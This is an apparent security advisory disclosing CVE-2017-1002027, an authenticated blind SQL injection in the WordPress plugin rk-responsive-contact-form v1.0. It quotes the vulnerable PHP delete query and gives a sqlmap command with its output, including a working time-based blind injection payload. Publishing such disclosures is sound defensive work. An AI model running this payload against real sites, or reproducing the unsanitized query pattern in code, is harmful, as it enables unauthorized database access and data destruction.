Authenticated Blind SQL Injection vulnerability in Wordpress plugin rk-responsive-contact-form v1.0

["Larry W. Cashdollar" <larry0 () me com>]

Title: Authenticated Blind SQL Injection vulnerability in Wordpress plugin rk-responsive-contact-form v1.0
Author: Larry W. Cashdollar, @_larry0
Date: 2017-07-01
CVE-ID:[CVE-2017-1002027]
Download Site: https://wordpress.org/plugins/rk-responsive-contact-form/
Vendor: rkdevelopers
Vendor Notified: 2017-08-05
Vendor Contact: plugins () wordpress org
Advisory: http://www.vapidlabs.com/advisory.php?v=198
Description: A simple WordPress plugin that generates a responsive contact form on your website or blog
Vulnerability:
The variable $delid isn't sanitized before being passed into an SQL query in file 
./rk-responsive-contact-form/include/rk_user_list.php :

1-<?php 
2-      global $wpdb;
3-      $table_name = $wpdb->prefix . "rk_contact";
4:      $info=$_GET["info"];
5-      if($info=="del")
6-      {
7:      $delid=$_GET["did"];
8-      
9-      $wpdb->query("delete from ".$table_name." where `user_id`=".$delid);
10-     echo "<div style='clear:both;'></div><div class='updated' id='message'><p><strong>:".__('User Record 
Deleted.','rkcontactform')."</strong>.</p></div>";
11-     }
12-?>

The attacker must have permission to modify contacts in order to exploit this vulnerability.

Exploit Code:
        • $ sqlmap -u 'http://example.com/wp-admin/admin.php?page=rk_user_lists&info=del&did=*&apos; 
--load-cookies=./cookie.txt --level=2 --risk=1 --dbms=mysql 
        •  
        •  
        • URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
        • sqlmap identified the following injection point(s) with a total of 318 HTTP(s) requests:
        • ---
        • Parameter: #1* (URI)
        •   Type: AND/OR time-based blind
        •   Title: MySQL >= 5.0.12 time-based blind - Parameter replace
        •   Payload: http://example.com:80/wp-admin/admin.php?page=rk_user_lists&info=del&did=(CASE WHEN (6363=6363) 
THEN SLEEP(5) ELSE 6363 END)
        • ---
        • [10:57:22] [INFO] the back-end DBMS is MySQL
        • web server operating system: Linux Ubuntu 16.04 (xenial)
        • web application technology: Apache 2.4.18
        • back-end DBMS: MySQL >= 5.0.12
        • [10:57:22] [INFO] fetched data logged to text files under '/home/larry/.sqlmap/output/example.com'
        •  
        • [*] shutting down at 10:57:22